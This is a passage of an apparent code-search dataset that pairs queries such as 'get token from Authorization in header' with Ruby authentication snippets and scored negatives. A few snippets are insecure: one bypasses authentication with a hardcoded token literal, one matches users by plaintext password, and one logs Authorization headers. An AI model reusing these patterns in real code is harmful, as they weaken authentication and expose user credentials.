authenticate_user!\n unless current_user\n render :json => {'error' => 'authentication error'}, :status => 401\n end\n end", "def authenticate!\n\t\t@current_user = AuthorizeApiRequest.call(request.headers).result\n\t\t# If unauthorized return an error to the front end\n\t\trender json: {error: 'Not Authorized'}, status: 401 unless @current_user\n\tend", "def check_authentication\n @token = request.headers[:token]\n @user = Usuario.find_by_token(@token) \n if @user ==nil\n json_response={\n error: 'authentication error'\n }\n respond_with json_response, location: nil\n end \n \n end", "def render_unauthorized\n logger.debug \" *** UNAUTHORIZED REQUEST: '#{request.env['HTTP_AUTHORIZATION']}' ***\"\n self.headers['WWW-Authenticate'] = 'Token realm=\"Application\"'\n render json: {error: \"Bad credentials\"}, status: 401\n end", "def authenticate\n authenticate_token || render_unauthorized\n end", "def authenticate_request\n render :json => { :error => :unauthorized }, :status => :unauthorized unless current_user\n end", "def authenticate\n render json: { error: 'Access Denied' }, status: 401 unless current_user\n end", "def authenticate_request\n begin\n uid = JWT.decode(request.headers['Authorization'], Rails.application.secrets.secret_key_base)[0]['uid']\n @current_user = User.find_by(uid: uid)\n rescue JWT::DecodeError\n render json: 'authentication failed', status: 401\n end\n end", "def authenticate_user_from_token\n unless authenticate_with_http_token { |token, options| User.find_by(auth_token: token) }\n render json: { error: 'Bad Token'}, status: 401\n end\n end", "def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n client_id = request.headers['Client-ID']\n\n if auth_token\n authenticate_with_auth_token(auth_token, client_id)\n else\n authentication_error\n end\n end", "def authenticate_request\n if auth_token_expired?\n fail AuthenticationTimeoutError\n elsif !@current_user\n fail NotAuthenticatedError\n end\n end", "def authenticate_request\n if auth_token_expired?\n fail AuthenticationTimeoutError\n elsif !@current_user\n fail NotAuthenticatedError\n end\n end", "def authenticate_request\n if auth_token_expired?\n fail AuthenticationTimeoutError\n elsif !@current_user\n fail NotAuthenticatedError\n end\n end", "def authenticate\n token = request.headers[\"Authorization\"].split(' ')[1]\n payload = JWT.decode(token, @@jwt_secret, true, { algorithm: 'HS512' })[0]\n @username = payload[\"username\"]\n rescue StandardError\n render json: { error: \"Invalid token\" }, status: :unauthorized\n end", "def api_auth\n creator = Creator.find_by(username: request.headers[:username])\n if creator && creator.authenticate(request.headers[:password])\n render json: { auth_token: encodeJWT(creator) }\n else\n render json: { error: 'Invalid username or password' }, status: :unauthorized\n end\n end", "def authenticate_with_token\n # get the token from the header\n # get the token from the post body\n # get the token from json post\n \n token = request.headers[\"HTTP_AUTHORIZATION\"]\n \n if (!token)\n if (not_protected self.controller_name, self.action_name)\n return nil\n end\n\n redirect_to controller: 'application', action: 'index' \n end\n\n #@user = get_user_by_token(token)\n end", "def authenticate_user!\n render :json => { error: \"please log in\" }, :status => 401 unless current_user.id\n end", "def authenticate_with_token!\n render json: { errors: 'Acesso não autorizado!' }, status: 401 unless user_logged_in?\n end", "def authenticate_bearer(header)\n @token ||= {}\n @token[header] ||= orig_authenticate_bearer(header)\n end", "def authenticate_request\n @current_user = AuthorizeApiRequest.call(request.headers).result\n render json: { error: 'Not Authorized' }, status: 401 unless @current_user\n end", "def ensure_authenticated_user\n render json: {message: 'Unauthorized'}, status: 401 unless current_user\n # head :unauthorized unless current_user\n end", "def authenticate\n authenticate_or_request_with_http_token do |token _options|\n @current_user = User.find_by token: token\n end\n end", "def authenticate_user!\n # check for API/signed requests\n if request.headers.env[\"HTTP_AUTHORIZATION\"] || request.headers.env[\"Authorization\"] then\n agent = Agent.where(:access_key => ApiAuth.access_id(request)).first\n begin\n if not(agent and ApiAuth.authentic?(request, agent.secret_key)) then\n return render :text => Bixby::JsonResponse.new(\"fail\", \"authentication failed\", nil, 401).to_json, :status => 401\n end\n rescue ApiAuth::ApiAuthError => ex\n return render :text => Bixby::JsonResponse.new(\"fail\", ex.message, nil, 401).to_json, :status => 401\n end\n @current_user = agent # TODO hrm.. hack much?\n return false\n end\n\n # authenticate a request from a browser session\n super\n end", "def optional_api_user_or_token\n authenticate_user\n rescue AuthenticationError => e\n api_log_warn(\"AuthenticationError: #{e.message} (on #{request.method} that doesn't require it... ignoring)\")\n end", "def authenticate\n\t\tauthenticate_token || render_unauthorized\n\tend", "def authenticate_user!\n return if current_user\n render json: json_message(errors: 'Acceso denegado. Por favor ingresa.'), status: 401\n end", "def authenticate(response)\n headers = response.headers\n begin\n if headers.has_key?('www-authenticate')\n auth_description = headers['www-authenticate']\n if auth_description.match('Bearer realm=')\n auth_service = TokenAuthService.new(self)\n auth_service.tokenAuth(response)\n else\n throw \"Auth method not supported #{auth_description}\"\n end\n end\n rescue Exception => e\n puts \"Authentication failed #{e.message}\".colorize(:red)\n end\n end", "def authenticate_user\n authenticate_or_request_with_http_token do |token, options|\n @user = User.find_by_auth_key(token)\n head :unauthorized unless @user\n return\n end\n end", "def authenticate_user!\n token, options = ActionController::HttpAuthentication::Token.token_and_options(request)\n\n super unless token == 'rbMmEeoH8RxRDyN24PQv'\n end", "def authenticate!\n token = Configuration.authentication_token\n secret = Configuration.authentication_secret\n creds = {token => params[token], secret => params[secret]}\n\n response = HTTPClient.get(Configuration.authentication_endpoint, creds)\n\n unless response.ok?\n halt(403, \"Authentication failed: #{response.body}\")\n end\n end", "def authenticate_user!\n if request.headers['sid'].present? && !request.headers['sid'].nil? && request.headers['utoken'].present? && !request.headers['utoken'].nil?\n session = Session.active_sessions.find_by_id(request.headers['sid'])\n if session.nil? || session.utoken != request.headers['utoken']\n render_error_add :unauthorized, 'unauthorized' and return\n end\n else\n render_error_add :unauthorized, 'unauthorized' and return\n end\n end", "def authenticate_user!\n unless current_user?\n render status: :unauthorized\n end\n end", "def require_authentication\n render_failed_auth_response unless authentication_successful? # render a 401 error\n end", "def invalid_authentication\n render json: {error: 'Invalid Request'}, status: :unauthorized\n end", "def failure_authentication(body = nil)\n api_header(\"1005\", \"Invalid token\", body)\n end", "def authenticate_user_from_jwt\n _, token = request.headers['Authorization'].split\n decoded_token = AuthToken.decode(token)\n User.find(decoded_token[:user_id])\n rescue NoMethodError\n raise Exceptions::UnauthorizedError\n end", "def require_login\n @response.add_header('WWW-Authenticate', \"Basic realm=\\\"#{@realm}\\\"\")\n @response.status = 401\n end", "def authenticate\n unauthorized unless current_user\n end", "def check_authorization\n # Decode Basic Auth, future jwt?\n require 'base64'\n\n credentials = request.headers['Authorization']\n\n if credentials.nil?\n render json: { error: 'Missing credentials, Authorization: Basic Auth (user@two.se:usertwo)'}, status: :forbidden\n else\n # Split > decode > split\n credentials = Base64.decode64(credentials.split[1]).split(':')\n\n # Get the creator by email\n @current_creator = Creator.find_by(email: credentials[0].downcase)\n\n # If nil and not able to authenticate with the password, return forbidden 403\n unless @current_creator && @current_creator.authenticate(credentials[1])\n render json: { error: 'Not authorized! Wrong credentials!'}, status: :forbidden\n end\n end\n end", "def authenticate\n authorize || unauthorized\n end", "def authenticate_user!\n \tunless current_user?\n \trender status: :unauthorized\n \tend\n end", "def invalid_authentication\n render json: {error: 'Invalid Request'}, status: :unauthorized\n end", "def invalid_authentication\n render json: {error: 'Invalid Request'}, status: :unauthorized\n end", "def invalid_authentication\n render json: {error: 'Invalid Request'}, status: :unauthorized\n end", "def invalid_authentication\n render json: {error: 'Invalid Request'}, status: :unauthorized\n end", "def invalid_authentication\n render json: {error: 'Invalid Request'}, status: :unauthorized\n end", "def invalid_authentication\n render json: {error: 'Invalid Request'}, status: :unauthorized\n end", "def invalid_authentication\n render json: {message: 'Invalid Request'}, status: :unauthorized\n end", "def authenticate_user_from_token\n unless authenticate_with_http_token { |token, options| User.find_by(api_token: token) }\n render json: { error: 'Bad Token'}, status: 401\n end\n end", "def authenticate\n # return if unauthorized?\n\n # render json: {\n # message: I18n.t('api.v1.error_messages.unauthorized')\n # }, status: :unauthorized\n end", "def authenticate_user\n case request.format\n when /text\\/html/\n redirect_to new_session_path unless current_user\n when /application\\/json/\n head :unauthorized unless current_user\n end\n\n end", "def http_auth_header\n if header['Authorization'].present?\n return header['Authorization'].split(' ').last\n end\n raise(ExceptionHandler::MissingToken, 'Missing_token') #should be refactored into a singleton class man \n end", "def authenticate_token!\n return render_error(\"Problem with Authentication Token\",401, 401) unless Token.find_by(access_token: params[:access_token])\n end", "def authenticate_user\n render_403 'Invalid user.' if @user.blank? || !@user.active?\n end", "def http_auth_header?; end", "def require_auth\n head :unauthorized unless current_user\n end", "def require_auth\n (authorized? && authenticated?) || halt(401)\n end", "def invalid_authentication\n render json: { error: 'Invalid Request' }, status: :unauthorized\n end", "def invalid_authentication\n render json: { error: 'Invalid Request' }, status: :unauthorized\n end", "def invalid_authentication\n render json: { error: 'Invalid Request' }, status: :unauthorized\n end", "def invalid_authentication\n render json: { error: 'Invalid Request' }, status: :unauthorized\n end", "def authenticate_user!(options = {})\n head :unauthorized unless signed_user_in?\n end", "def authentication_error\n # User's token is either invalid or not in the right format\n render json: {error: 'unauthorized'}, status: 401 # Authentication timeout\n end", "def authenticate_user_from_token!\n user_token = params[:auth_token].presence\n user = user_token && User.find_by_authentication_token(user_token.to_s)\n \n unless user\n render json: { errors: 'user must signed in' }, status: :unprocessable_entity\n end\n end", "def authenticate\n authenticate_or_request_with_http_basic(\"myTaskboard Login\") do |email, password|\n user = User.where(email: email, password: password).first rescue nil\n redirect_to controller: :login, action: :index, status: 403 and return if user.nil?\n\n session[:current_user_id] = user.id #rescue nil\n end\n end", "def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n user = User.find_by(access_token: auth_token)\n\n fail AccessDenied unless user\n\n @current_user = user\n end", "def authenticate_user!\n raise NotAuthorizedError unless user_logged_in?\n end", "def credentials(authorization, request); end", "def check_authenticate_user\n if request.headers[:token].present?\n @auth_token = AuthToken.find_by(token: request.headers[:token])\n @current_user = auth_token.user if @auth_token.present?\n unless @auth_token && @current_user\n error_response_with_obj(HTTP_UNAUTHORIZED[:code], \"Invalid Authentication token\")\n end\n else\n error_response_with_obj(HTTP_UNAUTHORIZED[:code], \"Invalid Authentication token\")\n end\n end", "def token\n authenticate_username_password || render_unauthorized\n end", "def authorize\n @user = User.find_by_id_and_multitrack_token(params[:user_id], params[:token])\n head(@user ? :ok : :forbidden)\n end" ]
[ "0.75618136", "0.7310267", "0.72970605", "0.7292798", "0.7292798", "0.7277463", "0.7274242", "0.72593033", "0.72115874", "0.719499", "0.71845114", "0.7161912", "0.7058513", "0.7043703", "0.7036322", "0.70192903", "0.6994457", "0.6993735", "0.69927114", "0.6984404", "0.6971709", "0.69592106", "0.69543797", "0.69491386", "0.69081914", "0.69024074", "0.690218", "0.68935174", "0.68753725", "0.6874834", "0.68559754", "0.6842245", "0.68182564", "0.678395", "0.6757784", "0.6751835", "0.6748932", "0.674491", "0.6740975", "0.6739571", "0.67362946", "0.67362946", "0.67362946", "0.67318016", "0.6715833", "0.67110556", "0.6704045", "0.66980493", "0.6690615", "0.6676316", "0.66752326", "0.66741854", "0.6667589", "0.66616327", "0.6660706", "0.6645876", "0.66443944", "0.66438144", "0.66382164", "0.6626259", "0.6625448", "0.66118157", "0.66091454", "0.6605309", "0.6596778", "0.6595923", "0.65875316", "0.6581922", "0.6578583", "0.6561858", "0.65559536", "0.6553641", "0.6553641", "0.6553641", "0.6553641", "0.6553641", "0.6549257", "0.65433604", "0.6532249", "0.6531795", "0.65311146", "0.6528204", "0.6527239", "0.6523834", "0.6508875", "0.6506399", "0.6503162", "0.6502117", "0.6502117", "0.6502117", "0.6502117", "0.6495038", "0.6490303", "0.64858794", "0.64748544", "0.6474022", "0.6466413", "0.64484876", "0.64472216", "0.6445503", "0.6437281" ]
0.0
-1
we use this method for pundit
def current_user @current_user end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def pundit_user\n \t\tcurrent_admin # current_user to Pundit\n \tend", "def pundit_user\n \tcurrent_usuario\n end", "def pundit_user\n current_admin\n end", "def pundit_user\n current_identity\n end", "def pundit_user\n current_account\n end", "def pundit_user\n current_account\n end", "def pundit_user\n current_person\n end", "def pundit_authorize\n authorize [:admin, @testimonial||:testimonial]\n end", "def pundit_user\n current_staff\n end", "def pundit_user\n # if action_name == \"new\"\n # current_user\n # else\n current_user || current_company\n # end\n end", "def pundit_user\n current_trainer\n end", "def pundit_params_for(record); end", "def pundit_user\n @current_user\n end", "def create\n # Create a new product stock with the params\n @products_stock = ProductsStock.new(products_stock_params)\n # ??? Pundit?\n authorize @products_stock\n if @products_stock.save\n # If create successful go to products stock index page\n redirect_to products_stocks_path\n else\n # If something goes wrong re-render products stock new page\n render :new\n end\n end", "def pundit_user\n CurrentAuthority.new(current_user, current_right)\n end", "def permitted?; end", "def authorization; end", "def index\n # @users = User.all\n # authorize @users \n @users = policy_scope(User)\n authorize @users\n end", "def permit(current_context, record, action)\n Pundit.authorize(current_context, record, action)\n rescue Pundit::NotAuthorizedError\n false\n end", "def authorized?(**args)\n super && (!defined?(Pundit) || current_user || raise(Pundit::NotAuthorizedError))\n end", "def user_action_on_resource_authorized\n end", "def authorise\n tmp_permission = @object_to_route_to.permission?\n if tmp_permission == \"yes\"\n permision_name = @pdt_method.method_name\n return @env.authorise(extract_actual_program_name(@pdt_method.program_name),permision_name,@user)\n elsif tmp_permission == nil\n return true\n else\n permision_name = tmp_permission\n return @env.authorise(extract_actual_program_name(@pdt_method.program_name),permision_name,@user)\n end\n\n end", "def platinum\n authorize! :view, :platinum, :message => 'Access limited to teachers only.'\n end", "def pundit_user\n @pundit_user ||= Context.new(\n account: current_account,\n accounts_user: current_accounts_user,\n user: current_user\n )\n end", "def index\n @store_details = StoreDetailPolicy::Scope.new(current_user, StoreDetail).resolve \n #@store_details = StoreDetail.order(store_name: :asc)\n #authorize current_user, :index?\n authorize @store_details, :index?\n end", "def set_fund\n @fund = policy_scope(Fund).friendly.find(params[:id])\n authorize @fund\n redirect_to @fund if params[:id] != @fund.slug\n end", "def principals\n modify\n end", "def show\n authorize RoleCutoff\n end", "def policy; end", "def authorize_admin!\n authorize! :manage, :all\n end", "def show\n # authorize Admin\n end", "def authorize\n end", "def authorize\n end", "def test_index\n assert Pundit.policy!(@admin_user, Role).index?\n refute Pundit.policy!(@not_admin_user, Role).index?\n end", "def volunteer_portal\n authorize! :volunteer_portal, :Reservation\n end", "def show\n authorize! :update, Hospital\n end", "def authorize_access\n # byebug\n redirect_to root_path, alert: \"Access Denied\" unless can? :modify, Post\n end", "def show\n authorize @primer\n end", "def access_control\n \n end", "def set_hunter\n @hunter = policy_scope(Hunter).find(params[:id])\n authorize @hunter\n end", "def authorize\n render json: { error: 'You are not authorized to modify this data'} , status: 401 unless current_user && current_user.can_modify_user?(params[:id])\n end", "def policies; end", "def authorize_admin\n redirect_to root_path unless current.user.immortal?\n end", "def index\n authorize Order\n super\n end", "def create_workflow_contents_export\n Pundit.policy!(@user, @klass).scope_for(:create_workflow_contents_export)\n end", "def show\n authorize! :create, Administrator\n end", "def show\n authorize! :ver, @usuario_prestamo\n end", "def index\n @tenants = Tenant.all\n @tenants = policy_scope(Tenant).order(created_at: :desc)\n #@tenant = Tenant.find(params[:id])\n #@tenant = Tenant.find(params[:id])\n #tr4 = Apartment.find(6).tenants.first.first_name\n # => apartment(:id).tenants(@tenant)\n #@tenant = Apartment.find(params[:id]).tenants(tenant_params)\n\n end", "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n # i will put it inside the set restaurant method instead of\n # the show bc then it will be called for all of the before\n # actions set in my controller - that way i wont need to put\n # it everywhere keeping the code DRY\n authorize @restaurant\n end", "def permission_required \n render_403 unless admin? || @user == current_user\n end", "def show\n\t\tauthorize! :show, EstadoPresupuesto\n end", "def scope\n Pundit.policy_scope!(user, record.class)\n end", "def authorize(record, query = nil, policy_class: nil)\n api_scope = self.class.inherited_pundit_api_scope || []\n\n super(api_scope + [record], query, policy_class: policy_class)\n end", "def define_eccept\n if current_user.info.id==@resource.id || can_manage_has_one(current_user.info, @resource, @model)\n return true\n else\n redirect_to root_path \n end\n end", "def authorize_admin\n redirect_to :login unless current_user.permission.manage_app ||\n current_user.permission.manage_attrs ||\n current_user.permission.manage_achievement_categories ||\n current_user.permission.manage_talent_trees ||\n current_user.permission.manage_talents ||\n current_user.permission.manage_quests ||\n current_user.permission.manage_skills ||\n current_user.permission.manage_achievements ||\n current_user.permission.manage_items ||\n current_user.permission.manage_titles\n end", "def policy_scopes; end", "def authorize_resource(*args); end", "def authorize \n self.make 'authorization' \n end", "def create_workflows_export\n Pundit.policy!(@user, @klass).scope_for(:create_workflows_export)\n end", "def authorize_resource\n authorize!(:disburse, @disbursement)\n @disbursement.experience_points_records.each do |record|\n authorize!(:create, record)\n end\n end", "def index\n #@event_users = EventUser.where(event: @event)\n #@event_users = EventUserPolicy::Scope.new(current_user, [:admin, EventUser]).resolve\n @event_users = policy_scope(EventUser.where(event: @event))\n authorize @event_users\n\n add_breadcrumb \"#{@event.code}\", :admin_event_path\n add_breadcrumb \"Usuários\", :admin_event_users_path\n end", "def authorize_access\r\n # authorize!(action_name.to_sym, \"#{controller_name}_controller\".camelcase.constantize)\r\n end", "def owner_only\n unless current_user == @organism.owner\n flash[:alert] = \"Vous ne pouvez executer cette action car vous n'êtes pas le propriétaire de la base\"\n redirect_to admin_organisms_url\n end\n\n end", "def show\n\t\tauthorize! :show, HistorialEstadoPresupuesto\n end", "def pundit_scope\n base_scope = object ? object.send(parent_association_name) : self.class.model_klass\n\n # Enforce Pundit control if the gem is present\n # This current user must be injected in context inside the GraphqlController.\n if defined?(Pundit)\n self.class.pundit_scope_klass.new(current_user, base_scope.graphql_scope).resolve\n else\n base_scope.graphql_scope\n end\n end", "def authorize_user\n if @user.present?\n # Pass the object @user to Pundit to check against @current_user\n authorize @user\n else\n authorize_users\n end\n end", "def authorize_with(record, query = nil, devise_controller = nil)\n query ||= params[:action].to_s\n @_pundit_policy_authorized = true\n policy = policy(record)\n unless policy.public_send('general_policy', record, query, devise_controller)\n raise NotAuthorizedError.new(query: query, record: record, policy: policy)\n end\n true\n end", "def project\n Pundit.policy!(@user, @klass).scope_for(:project)\n end", "def authorize_warehouse_allocation\n authorize WarehouseAllocation\n end", "def skip_pundit?\n devise_controller?\n end", "def show \n #if current_user.company_id == @user.company_id \n authorize @user \n end", "def authorize\n render json: { error: 'You are not authorized to modify this data'} , status: 401 unless current_user && current_user.can_modify_blog?(params[:id])\n end", "def create_classifications_export\n Pundit.policy!(@user, @klass).scope_for(:create_classifications_export)\n end", "def query(_action, abstract_model)\n begin\n p_scope = begin\n if parent_object.present? && association_name.present?\n @controller.policy_scope!(@controller.send(:pundit_user), parent_object.send(association_name))\n else\n @controller.policy_scope!(@controller.send(:pundit_user), abstract_model.model.all)\n end\n end\n rescue ::Pundit::NotDefinedError\n p_scope = begin\n if parent_object.present? && association_name.present?\n parent_object.send(association_name)\n else\n abstract_model.model.all\n end\n end\n end\n p_scope\n end", "def authorize\n super(:projects, projects_url)\n end", "def permit_user\n if (!current_user.lunches_admin?) \n flash[:alert] = 'You not allowed to see all orders.'\n respond_to do |format| \n format.html {redirect_to(root_url)}\n end\n end\n end", "def index\n @esps = policy_scope(@shop.esps)\n authorize @esps\n #binding.pry\n #binding.pry\n end", "def show\n authorize @service_template\n end", "def admin_logic\n end", "def authorize_edit\n authorize! :edit, @opportunity\n end", "def create_subjects_export\n Pundit.policy!(@user, @klass).scope_for(:create_subjects_export)\n end", "def authorize\n render json: { error: 'You are not authorized to modify this data'} , status: 401 unless current_user && current_user.can_modify_user?(params[:id])\n end", "def authorize_admin\n redirect_to '/librarians/denied' unless current_user && current_user.admin?\n end", "def protect()\n res = super(context,self)\n return res\n end", "def authorize_inherited_resource!\n authorize! :show, parent if parent?\n authorize! authorizable_action, authorize_resource? ? resource : resource_class\n end", "def authorize_admin\n\t\tauthorize( ADMIN_USER_LEVEL ) \n\tend", "def index\n authorize! :creat, Administrator\n hospital = Hospital.findn(params[:hospital_id])\n @administrators = hospital.administrators\n end", "def show\n\t\traise CanCan::AccessDenied if !Presupuesto.accessible_by(current_ability, :show).include?(@presupuesto) \n end", "def show\n authorize! :read, @admin_question\n end", "def show\n authorize User\n end", "def show\n authorize User\n end", "def authorize_admin_manage_quests\n unless current_user.permission.manage_quests\n redirect_back fallback_location: root_path\n end\n end", "def owner_only\n unless current_user == @organism.owner\n flash[:alert] = \"Vous ne pouvez executer cette action car vous n'êtes pas le propriétaire de la base\"\n redirect_to admin_organisms_url\n end\n end", "def run_filters\n set_user\n authorize\n end", "def show\n authorize @formation\n end", "def show\n #authorize @part\n end", "def authorize_user!\n # binding.pry\n unless can?(:crud, @question)\n flash[:alert] = \"Access Denied!\"\n redirect_to root_path\n\n # `head` is a method similar to `render` or `redirect_to`. It finalizes\n # the response. However, it will add content to the response. It will simply\n # set the HTTP status of the response. (e.g. head :unauthorized sets the\n # the status code to 401)\n # For a list of available status code symbols to use with `head` go to:\n # http://billpatrianakos.me/blog/2013/10/13/list-of-rails-status-code-symbols/\n # head :unauthorized\n end\n end", "def authorize_pot\n authorize @pot, :contribute?\n end", "def show\n authorize @admin\n end", "def define_eccept\n if current_user.info.id == @resource.id || can_manage_has_one(current_user.info, @resource, Info)\n true\n else\n redirect_to root_path\n end\n end", "def check_permissions\n authorize! :create, Invoice\n end" ]
[ "0.7515788", "0.7068918", "0.69680405", "0.69364405", "0.68814635", "0.68814635", "0.68785286", "0.6876919", "0.6798753", "0.6723019", "0.6526726", "0.652256", "0.650269", "0.62754637", "0.61722434", "0.6142716", "0.603697", "0.60058165", "0.59591097", "0.59526634", "0.5949089", "0.59037685", "0.5869446", "0.5847734", "0.58402324", "0.5838537", "0.58280206", "0.58201003", "0.58142906", "0.5797605", "0.57801", "0.5770423", "0.5770423", "0.5756277", "0.575568", "0.57512444", "0.57497144", "0.5728012", "0.57263887", "0.5720403", "0.5694884", "0.56830895", "0.56693137", "0.56687284", "0.5666954", "0.56480753", "0.56328434", "0.5630514", "0.5626916", "0.562621", "0.5625732", "0.56169116", "0.5616197", "0.5615277", "0.56124693", "0.5612448", "0.56056553", "0.5600139", "0.5599064", "0.5598268", "0.55881745", "0.55857754", "0.55815786", "0.5575836", "0.5572958", "0.55709505", "0.55676156", "0.5567561", "0.5558895", "0.55574816", "0.5555756", "0.5548942", "0.5544695", "0.55431867", "0.5540991", "0.55372477", "0.5532009", "0.5531472", "0.5529569", "0.5526153", "0.5525852", "0.5515978", "0.5513972", "0.5509707", "0.55040276", "0.550291", "0.5500845", "0.5497797", "0.54972076", "0.5483955", "0.5483955", "0.548242", "0.5481106", "0.54802555", "0.54712796", "0.54693186", "0.5468823", "0.5460339", "0.54598796", "0.5459553", "0.5459419" ]
0.0
-1
get token from Authorization in header
def http_auth_token auth_token = request.env["HTTP_AUTHORIZATION"] auth_token.split(" ").last if auth_token.present? && auth_token.split(" ").first.downcase == "bearer" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_token\n request.headers[\"Authorization\"]\n end", "def token\n request.headers['Authorization']\n end", "def token\n request.headers[\"Authorization\"]\n end", "def get_token\n if params.has_key?(:token) && params[:token] != ''\n return params[:token]\n end\n return nil if !request || !request.headers\n token_response = request.headers['Authorization']\n return nil if !token_response\n token_response[/^Token (.*)/,1]\n end", "def header_token\n request.headers['Authorization'].split(' ').last\n end", "def auth_header # gets the authorization header from the request\n # { Authorization: 'Bearer <token>' }\n request.headers['Authorization']\n end", "def auth_header\n # headers: { 'Authorization': 'Bearer <token>' }\n\n request.headers['Authorization']\n # => 'Bearer <token>'\n end", "def http_auth_header\n if headers['Authorization'].present?\n return headers['Authorization'].split(' ').last\n else\n errors.add(:token, 'Missing Token')\n end\n nil\n end", "def http_auth_token\n request.headers['Authorization']&.split(' ')&.last\n end", "def token\n bearer = request.headers[\"HTTP_AUTHORIZATION\"]\n\n # allows our tests to pass\n bearer ||= request.headers[\"rack.session\"].try(:[], 'Authorization')\n\n if bearer.present?\n bearer.split.last\n else\n nil\n end\n end", "def token\n bearer = request.headers[\"HTTP_AUTHORIZATION\"]\n\n # allows our tests to pass\n bearer ||= request.headers[\"rack.session\"].try(:[], 'Authorization')\n\n if bearer.present?\n bearer.split.last\n else\n nil\n end\n end", "def auth_token\n @auth_token ||= request.headers.fetch('Authorization', '').split(' ').last\n end", "def token\r\n bearer = request.headers[\"HTTP_AUTHORIZATION\"]\r\n\r\n # allows our tests to pass\r\n bearer ||= request.headers[\"rack.session\"].try(:[], 'Authorization')\r\n\r\n if bearer.present?\r\n bearer.split.last\r\n else\r\n nil\r\n end\r\n end", "def authorization_token\n @authorization_token ||= request.headers['Authorization']&.split(' ')&.last\n end", "def http_auth_header\n if header['Authorization'].present?\n return header['Authorization'].split(' ').last\n end\n raise(ExceptionHandler::MissingToken, 'Missing_token') #should be refactored into a singleton class man \n end", "def http_auth_header\n if headers['Authorization'].present?\n return headers['Authorization'].split(' ').last\n end\n\n raise(ExceptionHandler::MissingToken, Message.missing_token)\n end", "def extract_bearer_token(request)\n if request.headers['Authorization'].present?\n token = request.headers['Authorization'].split.last\n token.gsub!(/(\\'|\\\")/, '')\n token\n end\n end", "def auth_header\n # { Authorization: 'Bearer <token>' }\n request.headers['Authorization']\n end", "def auth_header\n\t\t# { Authorization: 'Bearer <token>' }\n\t\trequest.headers['Authorization']\n\tend", "def extract_header_token(env)\n BEARER_TOKEN_REGEX.match(env['HTTP_AUTHORIZATION'])&.[](1)\n end", "def auth_token\n\t\trequest.headers['X-AUTH-TOKEN']\n\tend", "def http_token\n @http_token ||= if request.headers['Authorization'].present?\n request.headers['Authorization'].split(' ').last\n end\n end", "def get_current_token\n if request.headers['Authorization'].present?\n return request.headers['Authorization'].split(' ').last\n end\n raise(ExceptionHandler::MissingToken, Message.missing_token)\n end", "def oauth_access_token_from_header\n auth_header = request.env[\"HTTP_AUTHORIZATION\"] || \"\"\n match = auth_header.match(/^Bearer\\s(.*)/)\n return match[1] if match.present?\n nil\n end", "def get_authentication_header\n \"#{token_type} #{token}\"\n end", "def http_auth_token\n @http_auth_token ||= if request.headers['Authorization'].present?\n request.headers['Authorization'].split(' ').last\n end\n end", "def http_auth_header\n\t \tif headers['Authorization'].present?\n\t \t\treturn headers['Authorization'].split(' ').last\n\t \tend\n\t \traise MissingToken.new(message:\"Missing token. Please provide a security token.\")\n\tend", "def get_jwt_from_header(request)\n return nil if request.nil?\n\n header = request.headers['Authorization']\n return nil if header.nil?\n\n auth_type, token = header.to_s.split(' ')\n auth_type == 'Bearer' ? token : nil\n end", "def get_authentication_header\n acquire_token if token_expired\n \"#{token_type} #{token}\"\n end", "def http_auth_header\n return headers['Authorization'].split(' ').last if headers['Authorization'].present?\n\n raise(API::JWTExceptionHandler::MissingToken, APIMessages.missing_token)\n end", "def auth_header\n if token\n { \"Authorization\" => \"Bearer #{token}\" }\n else\n {}\n end\n end", "def auth_token\n Auth.decode(header_token)\n end", "def oauth_access_token_from_header\n auth_header = request.env[\"HTTP_AUTHORIZATION\"]||\"\"\n match = auth_header.match(/^token\\s(.*)/) || auth_header.match(/^Bearer\\s(.*)/)\n return match[1] if match.present?\n false\n end", "def get_authentication_header\n acquire_token if token_expired?\n \"#{token_type} #{token}\"\n end", "def bearer_token\n header = request.env[\"HTTP_AUTHORIZATION\"]\n pattern = /^Bearer /\n header.gsub(pattern, \"\") if header && header.match(pattern)\n end", "def header\n header = request.env['HTTP_AUTHORIZATION']\n return nil unless header\n\n header.scan(/Bearer (.*)$/).flatten.last\n end", "def http_auth_token\n @http_auth_token ||= if request.headers['Authorization'].present?\n request.headers['Authorization'].split(' ').last\n end\n end", "def getHeader\n #updateToken\n {'Content-Type' => 'application/json', 'Authorization' => 'Bearer ' + @token}\n end", "def authentication_token\n if env && env['HTTP_AUTHORIZATION']\n env['HTTP_AUTHORIZATION'].split(\" \").last\n end\n end", "def extract_access_token(request)\n header = request.env[\"HTTP_AUTHORIZATION\"]\n\n if /^Bearer[ ]+(.+)/i =~ header\n return $1\n end\n\n return request[\"access_token\"]\nend", "def auth_header\n request.headers['Authorization']\n end", "def auth_header\n request.headers['Authorization']\n end", "def authenticate_api_token\n if request.headers[\"Authorization\"].present?\n \n auth_header = request.headers['Authorization'].split(' ').last\n \n #try to get the data from jwt token\n @payload = decode auth_header\n \n #couldnt get data for whatever reason\n if !@payload\n render json: { error: \"Problem med autentiseringssträngen. Försök att logga in igen.\" }, status: :bad_request \n #success!\n else\n @payload\n end\n #no token was sent with header \n else\n render json: { error: \"En autentiseringssträng krävs.\"}, status: :forbidden # The header isn´t present\n end\n end", "def auth_header\n { 'Authorization': \"Bearer #{@auth.token}\" }.with_indifferent_access\n end", "def auth_header\n request.headers['Authorization']\n end", "def get_token\n session[:token] if authorized?\n end", "def auth_header\n request.headers['Authorization']\n end", "def auth_token(auth)\n validate_auth(auth, %i[token])\n auth[:token]\n end", "def http_auth_token\n\n @http_auth_token ||= if request.headers.present?\n request.headers[\"HTTP_AUTH_TOKEN\"]\n end\n end", "def decode_token\n #token in header\n if auth_header\n #JWT as a string \n token = auth_header.split(' ')[1]\n #header: { 'Authorization': 'Bearer <token>' }\n #begin/rescue allows us to rescue out of an exception in Ruby \n begin\n #JWT as a string, app secret, and hashing algorithm\n JWT.decode(token, 'my_s3cr3t', true, algorithm: 'HS256')\n rescue JWT::DecodeError\n nil\n end\n end\n end", "def get_token\n token = params[:user_token].presence\n\n token_options = {}\n\n # get token from Authentication header\n if token.blank?\n # enable devise to get auth token in header\n # expects header with name \"Authorization\" and value 'Token token=\"tokenvalue\"'\n # @see https://groups.google.com/forum/?fromgroups#!topic/plataformatec-devise/o3Gqgl0yUZo\n # @see http://api.rubyonrails.org/v3.2.19/classes/ActionController/HttpAuthentication/Token.html\n token_with_options = 